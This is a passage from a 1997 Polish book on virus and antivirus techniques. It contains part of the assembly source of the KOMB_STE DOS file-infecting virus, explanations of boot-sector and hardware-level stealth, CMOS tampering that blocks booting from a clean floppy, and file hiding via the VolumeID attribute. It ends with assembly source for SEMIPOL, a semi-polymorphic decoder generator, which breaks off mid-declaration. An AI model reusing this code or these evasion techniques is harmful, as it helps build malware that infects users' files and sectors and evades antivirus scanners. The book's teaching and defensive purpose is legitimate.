Stare21Ofs dw ? ; z tych pol korzysta skok
Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego
; elementu lancucha przerwan INT 21

StareInt21:
pushf ; \ symuluj wywolanie przerwania
Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare przerwanie

ret ; powroc z wywolania

UstawNowe24:
push ds es ax bx dx ; zachowaj zmieniane rejestry

mov ax,3524h ; \ pobierz stara i ustaw
Call StareInt21 ; \ nowa procedure obslugi
mov cs:Stare24Seg,es ; \ przerwania krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony
; \ przed ewentulanymi bledami
push cs ; / (np; podczas proby zapisu
pop ds ; / na zabezpieczona przed
lea dx,NoweInt24 ; / zapisem dyskietce nie
mov ax,2524h ; / zostanie wywolany dialog
Call StareInt21 ; / ARIF)

background image

pop dx bx ax es ds ; przywroc zmieniane rejestry

ret ; powroc z wywolania

PrzywrocStare24:
push ds ax dx ; zachowaj zmieniane rejestry

lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /

pop dx ax ds ; przywroc zmieniane rejestry

ret

DrukSI: ; procedura wyswietla tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane rejestry

DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu (znak=NUL) ?
jz DrukPowrot ; TAK - koncz pisanie

mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje

inc di ; zwieksz indeks (na nastepny znak)

jmp short DrukPetla ; idz po nastepny znak

DrukPowrot:
pop di ax ; przywroc zmieniane rejestry

ret ; powrot

DrukHEX16: ; drukuje liczbe heksalna z AX
push ax ; zachowaj AX (dokladniej AL)
mov al,ah ; najpierw starsza czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX (dokladniej AL)
; i wyswietl AL

background image

DrukHex8: ; drukuje liczbe heksalna z AL
push ax ; zachowaj AX (dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez 16
shr al,1 ; / czyli wez 4 starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej
pop ax ; przywroc AX (dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity AL
; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na
Cyfra09: ; / '0'..'9', 'A'..'F'
add al,'0' ; /

mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje

ret ; powrot

Decyzja: ; \ pobiera z klawiatury
mov ah,0h ; \ znak i sprawdza czy jest
int 16h ; \ to litera 'T'lub 't'
and al,0DFh ; \ jesli tak, ustawia CF=0
cmp al,'T' ; \ jesli nie, ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /

NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania

TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej (T/N) ?
',NUL
TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL
TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go wirusem
KOMB_STE (T/N) ?',NUL

background image

StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:

Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?

KOMB_STE ends
end start

7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth)
Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów;
należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby
odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu
ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory
zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać).
Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub
BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed
zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).

7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań
sprzętowych (ang. hardware level stealth
)
W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level
stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta
polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego
IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji
(9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym-
Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o
aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR,
zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość
MBR.
Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7
(rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich
jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja
odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z
portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus
musi wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na
inny sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego
sektora).
W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego
adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa.
Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14

background image

(co można ustawić programowo) przy realizacji operacji dostępu do dysku.

7.2. ModyfikacjaCMOS-a
Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych
sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do
któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i
czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie
uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.
To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane
jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś
klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera.
Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do
podtrzymywanej baterią pamięci CMOS.
Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować
pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak
znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma
zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność
ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest
konieczne ze względu na kompatybilność).
Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca,
jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę
wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował
załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim
wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie
sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor,
po czym oddaje do niego sterowanie.
Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w
CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera
parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno
utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także
zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi
dostanie się do programu SETUP.

7.3. Atrybut etykiet dysku (ang. VolumeID)
Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy
przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują
zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają
do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej
wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak
ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących na
zawartości fizycznych sektorów (np. Disk Editor).
Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż
niewidzialność zagwarantuje sam system DOS.

7.4. Dodatkowe ścieżki na dyskach
Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami
zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi

background image

podjąć decyzję, gdzie umieścić wirusa po infekcji.
Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa
może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na
początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji).
Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi.
Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana
przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po
czym je wykorzystują.
kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia
nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na
rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie
sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto
rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się
rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem
deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się
MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z
najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur
dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują
dwie poniższe procedury:
> procedura generująca szyfrator (ang. encryptor);
> procedura generująca dekoder (ang. decryptor).
W zależności od ich skomplikowania można wyróżnić wirusy, które
zawierają:
> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem
wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych
zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w
przypadku wirusów nieszyfrowanych;
> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;
jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę
szyfrującą;
> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej,
dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;
> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym
razem wygląda inaczej; są to tzw. wirusy
polimorficzne

ROZDZIAŁ 8

8.1. Procedury szyfrujące kod
Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze,
odwracalnych operacji matematycznych lub logicznych, a więc:
> dodawanie - operacja ADD;
> odejmowanie - operacja SUB;
> suma modulo 2 - operacja XOR;
> negowanie arytmetyczne - operacja NEG;
> negowanie logiczne - operacja NOT;

background image

> przesunięcie cykliczne w lewo - operacja ROL;
> przesunięcie cykliczne w prawo - operacja ROR.
Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na
przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie
licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach
matematycznych i logicznych.
To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy
wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem
z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym
razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze
zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji
szyfrujących, a następnie w pętli losuje:
> rodzaj operacji wykonywanej na argumencie;
> argumenty operacji;
> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie
inne).
Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na
stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.

8.2. Procedury dekodujące
Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności
operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych
zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca
wygląda następująco:
MOV CX, IleBajt¾w
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
XOR byte ptr [BX],12h
ADD byte ptr [BX],34h
NOT byte ptr [BX]
INC BX
LOOP PÛtla,
to procedura dekodująca powinna wyglądać mniej więcej tak:
MOV CX, IleBajt¾w
MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
NOT byte ptr [BX]
SUB byte ptr [BX],34h
XOR byte ptr [BX],12h
INC BX
LOOP PÛtla.
W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w
dekoderze (oczywiście można zastosować także operację ADD z przeciwnym
argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym
razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą
zawsze zgodne ze schematem (dla poprzedniego przykładu):
MOV CX,IleBajt¾w

background image

MOV BX,Pocz╣tekDanychDoZakodowania
PÛtla:
DEKODUJ [BX] DEKODUJ [BX]
DEKODUJ [BX]
INC BX
LOOP PÛtla,
co dla nowoczesnych skanerów nie stanowi żadnej przeszkody
Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować
zmienne, polimorficzne procedury dekodujące.

8.2.1. Polimorficzne procedury dekodujące
Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego
pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu.
Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych
procedur dekodujących.
Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie
wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest
znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.
Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu
przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w
poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.

8.2.1.1. Semi-polimorfizm
Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej
sekwencji:
MOV licznik, IleDanych
MOV indeks, Pocz╣tekDanychDoZakodowania
PÛtla:
dekoduj_i [indeks]
DEKODUJ_2 [indeks]
DEKODUJ_N [indeks]
ADD indeks, przyrost
LOOP PÛtla
Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą.
Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych
do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy
kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich
stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych
rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być
zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych
wariantów wirusa jest tak naprawdę bardzo ograniczona.
Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na
stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się
kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do
następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego
problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów
procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi

background image

generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR
(kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??).
Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod
które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje
sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w
rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej zapamiętać
offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej części kodu
(kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.
W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany
jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu.
Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM,
gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku
parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na
początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie
procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo
zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób
(bez dodawania losowych skoków pomiędzy instrukcjami).

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SEMIPOL v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program generuje pliki zakodowane semi-polimorficznie ;
; (pomiedzy wlasciwe instrukcje dekodera sa wstawiane ;
; przypadkowe rozkazy JUMP) ;
; Kompilacja : ;
; TASM /m2 SEMIPOL.ASM ;
; TLINK SEMIPOL.OBJ ;
; ;
;----------------------------------------------------------------------------;
SEMI_POL SEGMENT

ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL

NUL = 00h ; \
TAB = 09h ; \
LF = 0Ah ; \ stale znakowe
CR = 0Dh ; /
SPACE = 20h ; /
DOLAR = '$' ; /

RozmiarStosu equ 200h ; rozmiar stosu
DomyslnieIlePlikow = 10 ; domyslnie generuj 10 plikow

background image

;-----------------------------------------------------------------------------
Start:
Call InicjujSystem ; ustaw zmienne programu

lea si,TeCopyRight ; wyswietl info o programie
Call Druk

Call WezParametry ; wez parametry z linii polecen

lea si,TeGenerator ; wyswietl info o dzialaniu
Call Druk

Call GenerowaniePlikow ; generuj pliki

mov ax,4C00h ; funkcja DOS - powrot do systemu
int 21h ; wywolaj funkcje

;-----------------------------------------------------------------------------
GenerowaniePlikow proc near ; procedura generuje pliki SEMI????.COM

push ds es ax bx cx dx si di ; zachowaj na stosie zmieniane rejestry

mov cx, LiczbaPlikow ; cx=ile plikow do wygenerowania

GenJedenPlik:

push cx ; zachowaj na stosie : ile plikow

lea si,AktualnaNazwaPliku ; \ wyswietl nazwe pliku
Call DrukLn ; /

lea dx,AktualnaNazwaPliku ; sprobuj otworzyc (tworzony) plik
mov ax,3D02h ; funkcja DOS - otworz plik
int 21h ; wywolaj funkcje
jnc WezUchwyt ; CF=0 plik juz istnial, nadpisz go

mov cx,20h ; atrybut pliku tworzonego : Archive
lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego pliku
mov ah,5Bh ; funkcja DOS - tworz plik
int 21h ; wywolaj funkcje

WezUchwyt:
mov UchwytPliku,ax ; zapamietaj uchwyt pliku

lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod do szyfrowania
lea di,BuforDocelowy ; ES:DI - dokad zapisywac zaszyfrowany kod

background image

mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar szyfrowanego kodu
Call SemiPol
; CX:=Ile danych do zapisu

lea dx,BuforDocelowy ; skad zapisac dane
mov bx,UchwytPliku ; numer uchwytu
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje

mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje

Call ZwiekszNumerPliku ; SEMI(xxxx) -> SEMI(xxxx+1)

pop cx ; przywroc ze stosu : ile plikow

loop GenJedenPlik ; generuj CX plikow

pop di si dx cx bx ax es ds ; przywroc ze stosu zmieniane rejestry

ret ; powrot z procedury

GenerowaniePlikow endp

;-----------------------------------------------------------------------------
ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na SEMI(xxxx+1)
; operuje na lancuchu 'SEMIxxxx'

push cx si ; zachowaj na stosie zmieniane rejestry

mov cx,4 ; CX = ile max. obiegow petli = 4 cyfry

ZwiekszNumerPlikuPetla:
mov si,cx
dec si
inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca w SEMIxxxx

cmp byte ptr [AktNumPliku+si],'9'
; czy numer > 9 ?
jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z procedury
; wiekszy = uwzglednij przeniesienie
mov byte ptr [AktNumPliku+si],'0'
; cyfra : 9->0
loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj

ZwiekszNumerPlikuPowrot:

background image

pop si cx ; przywroc ze stosu zmieniane rejestry

ret ; powrot z procedury

ZwiekszNumerPliku endp

;-----------------------------------------------------------------------------
WezParametry proc near ; pobiera parametry z PSP:80h

push ds ; zachowaj DS

mov di,DomyslnieIlePlikow ; DI=ile plikow wygenerowac

mov ds,PSP_Segment ; DS:=PSP
mov si,80h ; DS:SI=PSP:80

lodsw ; DS:SI=PSP:82, AX:=licznik znakow
or al,al ; czy sa jakies znaki w linii polecen ?
jz WezParametryPowrot ; nie = wyjdz z procedury

SzukajCyfry:
lodsb ; wez znak

cmp al,SPACE ; \pomin spacje
je SzukajCyfry ; /

cmp al,TAB ; \pomin tabulator
je SzukajCyfry ; /

mov bx,si ; zachowaj pozycje w lancuchu

SzukajCR: ; szukaj konca ciagu znakow

lodsb ; wez znak

cmp al,CR ; czy koniec lancucha ?
je LancuchNaLiczbe ; tak = konwersja

cmp al,SPACE ; czy spacja ?
je LancuchNaLiczbe ; tak = konwersja

cmp al,TAB ; czy tabulator ?
je LancuchNaLiczbe ; tak = konwersja

cmp al,'0' ; \
jb WezParametryPowrot ; \ czy znak w zakresie
; - '0'..'9'

background image

cmp al,'9' ; / jezeli nie, to blad
ja WezParametryPowrot ; /

jmp short SzukajCR ; wez kolejny znak

LancuchNaLiczbe: ; konwersja lancucha na liczbe

mov cx,si ; wez koniec lancucha
sub cx,bx ; odejmij poczatek lancucha

jcxz WezParametryPowrot ; skocz, gdy nie ma czego konwertowac

cmp cx,4 ; czy liczba > 9999 ?
ja WezParametryPowrot ; skocz, jesli tak

mov bx,1 ; BX zawiera kolejne potegi 10
xor di,di ; DI zawiera aktualna sume

LancuchNaLiczbeLoop:
; znaki czytamy od konca
dec si ; \ SI:=SI-2
dec si ; /

lodsb ; pobierz znak
sub al,'0' ; konwertuj na liczbe z zakresu 0..9

mov ah,0 ; AX=AL
mul bx ; mnoz przez kolejna potege 10

add di,ax ; dodaj do sumy

mov ax,10 ; zwieksz potege 10
mul bx ; pomnoz 10*BX

xchg ax,bx ; BX:=10 do kolejnej potegi
; 1,10,100,1000

loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry

WezParametryPowrot: ; DI zawiera liczbe plikow

pop ds ; przywroc DS ze stosu

mov LiczbaPlikow,di ; przepisz do zmiennej

ret ; powrot z procedury

background image

WezParametry endp

;-----------------------------------------------------------------------------
DrukLn proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI i dodaje Enter

push si ; SI sie zmienia, trzeba zachowac

Call Druk ; najpierw wyswietl tekst

lea si,TeCRLF ; \ a teraz dodaj CR,LF
Call Druk ; /

pop si ; przywroc SI

ret ; powrot z procedury

DrukLn endp

;-----------------------------------------------------------------------------
Druk proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI

push ax ; \ zachowaj zmieniane rejestry
push si ; /

DrukNastepnyZnak:

lods byte ptr cs:[si] ; wez kolejny znak

or al,al ; czy znak jest zerem
jz DrukPowrot ; tak=koniec napisu, wyjdz z petli

Call DrukZnak ; jezeli nie, to wyswietl (znak w AL)

jmp short DrukNastepnyZnak ; idz po nastepny znak

DrukPowrot: ; tekst wydrukowany
pop si ; \ przywroc zmieniane rejestry
pop ax ; /

ret ; powrot z procedury

Druk endp

;-----------------------------------------------------------------------------
DrukZnak proc near ; procedura wyswietla znak w AL

background image

push ax ; zachowaj zmieniany rejestr

mov ah,0Eh ; funkcja BIOS - wyswietl znak w AL
int 10h ; wywolaj funkcje

pop ax ; przywroc zmieniany rejestr

ret ; powrot z procedury

DrukZnak endp

;-----------------------------------------------------------------------------
InicjujSystem proc near ; ustawia stos, DS, ES itd.

pop bp ; zachowaj adres powrotu z procedury
; bo stos zostanie przeniesiony
mov CS:PSP_Segment,ds ; zapamietaj PSP

mov ax,cs ; \
mov ds,ax ; - CS=DS=ES
mov es,ax ; /

mov ss,ax ; \ stos na koniec programu
lea sp,StosKoniec ; /

cld ; DF=1, zwiekszaj przy operacjach lancuchowych

jmp bp ; powrot z procedury

InicjujSystem endp

;-----------------------------------------------------------------------------
SemiPol:
push ax si di ; zachowaj na stosie zmieniane rejestry

shr cx,1 ; dlugosc/2 bo szyfrujemy slowa
inc cx ; dla pewnosci, ze wszystkie bajty zostana
; zaszyfrowane

mov Semi_IleDanych,cx ; \
mov Semi_Skad,si ; - zachowaj dane
mov Semi_Dokad,di ; /

call PseudoLosowa ; wez przypadkowa liczbe
mov Semi_Losowa,ax ; bedzie jej uzywac szyfrator i deszyfrator

background image

; szyfruj kod
lea di,TMPBufor ; gdzie zapisac szyfrowany kod
Szyfruj:

lodsw ; wez dana

add ax,Semi_Losowa ; szyfruj ja

stosw ; zapisz zaszyfrowana dana

loop Szyfruj ; powtarzaj szyfrowanie

; wpisz "smieci" do bufora
mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)

mov cx,256 ; CX:=AX:=ile slow zapisac (1..256)

Smietnik: ; wypelnianie

Call Pseudolosowa ; wez przypadkowa dana
stosw ; zapisz ja

loop Smietnik ; zapisz "smieci" w buforze

; generuj procedure dekodera
;
; Dekoder ma nastepujaca postac :
;
; mov si,PoczatekDanych BE,????
; mov cx,IleDanych B9,????
; Petla:
; sub [si],Losowa 81,2C,????
; dec cx 49
; jz Koniec 74,??
; jmp Petla E9,????
; Koniec:
;
mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)

call LosowySkok ; wstaw losowy skok

mov al,0BEh ; DEKODER: mov si, ofset Poczaek
stosb ; BE,????
mov Semi_GdziePocz,di ; ofset bedzie wstawiony pozniej
stosw ; zostaw miejsce na ofset

background image

call LosowySkok ; wstaw losowy skok

mov al,0B9h ; DEKODER: mov cx,IleDanych
stosb ; B9,????
mov ax,Semi_IleDanych ; wpisz, ile danych do odszyfrowania
stosw ;

call LosowySkok ; wstaw losowy skok

mov Semi_Petla,di ; DEKODER: sub [si],Losowa
mov ax,2C81h ; pierwsza czesc rozkazu
stosw
mov ax,Semi_Losowa ; zapisz wartosc dekodujaca
stosw ; zaszyfrowany program

call LosowySkok ; wstaw losowy skok

mov al,46h ; DEKODER: inc si
stosb

call LosowySkok ; wstaw losowy skok

mov al,46h ; DEKODER: inc si
stosb

call LosowySkok ; wstaw losowy skok

mov al,49h ; DEKODER: dec cx
stosb

call LosowySkok ; wstaw losowy skok

mov al,74h ; DEKODER: JZ ??
stosb ; wstaw pierwsza czesc rozkazu
mov Semi_DokadJZ,di ; zostanie ustawione pozniej
stosb ; zostaw miejsce na ofset

call LosowySkok ; wstaw losowy skok

mov al,0E9h ; DEKODER: JNZ -> JMP z powrotem
stosb ; wstaw E9
mov ax,Semi_Petla ; oblicz ofset do DEKODER : Petla:
sub ax,di ;
sub ax,2 ; odejmij dlugosc operandu w E9,????
stosw ;

mov bx,Semi_DokadJZ ; oblicz ofset do DEKODER : Koniec:

background image

mov ax,di ; i wstaw go pod wczesniej zapamietany
sub ax,bx ; ofset
dec ax ; odejmij dlugosc operandu w 74,??
mov [bx],al ;

mov bx,Semi_GdziePocz ; oblicz ofset, gdzie zaczynaja
mov ax,di ; sie dane przeznaczone do deszyfrowania
sub ax,Semi_Dokad ; z uwzglednieneim ofsetu dla
add ax,100h ; pliku COM (ORG 100h)
mov [bx],ax ; i zapisz pod zapamietany adres

mov cx,Semi_IleDanych ; ile danych do kopiowania
lea si,TMPBufor ; pobieraj z bufora zawierajacego
rep movsw ; zaszyfrowany kod i kopiuj na koniec

mov cx,di ; oblicz, ile danych do zapisu, czyli
sub cx,Semi_Dokad ; wartosc zwracana przez procedure

pop di si ax ; przywroc zapamietane rejestry

ret ; powrot z procedury

;-----------------------------------------------------------------------------
LosowySkok: ; wstawia losowy skok

mov ax,15 ; zakres skokow 1..15
Call PseudolosowaAX ; losuj z zakresu 1..15

mov ah,al ;
mov al,0EBh ; AX=skok,EB
stosw ; zapisz EB,skok

mov al,ah ;
mov ah,0 ; AX:=AL=skok

add di,ax ; dodaj do di

ret ; powrot z procedury

Semi_IleDanych dw ? ; \ potrzebne do chwilowego
Semi_Skad dw ? ; - zachowania roznych wartosci
Semi_Dokad dw ? ; /
Semi_Losowa dw ? ; wartosc szyfrujaca kod
Semi_GdziePocz dw ? ; \ adresy do zmiennych nieznanych
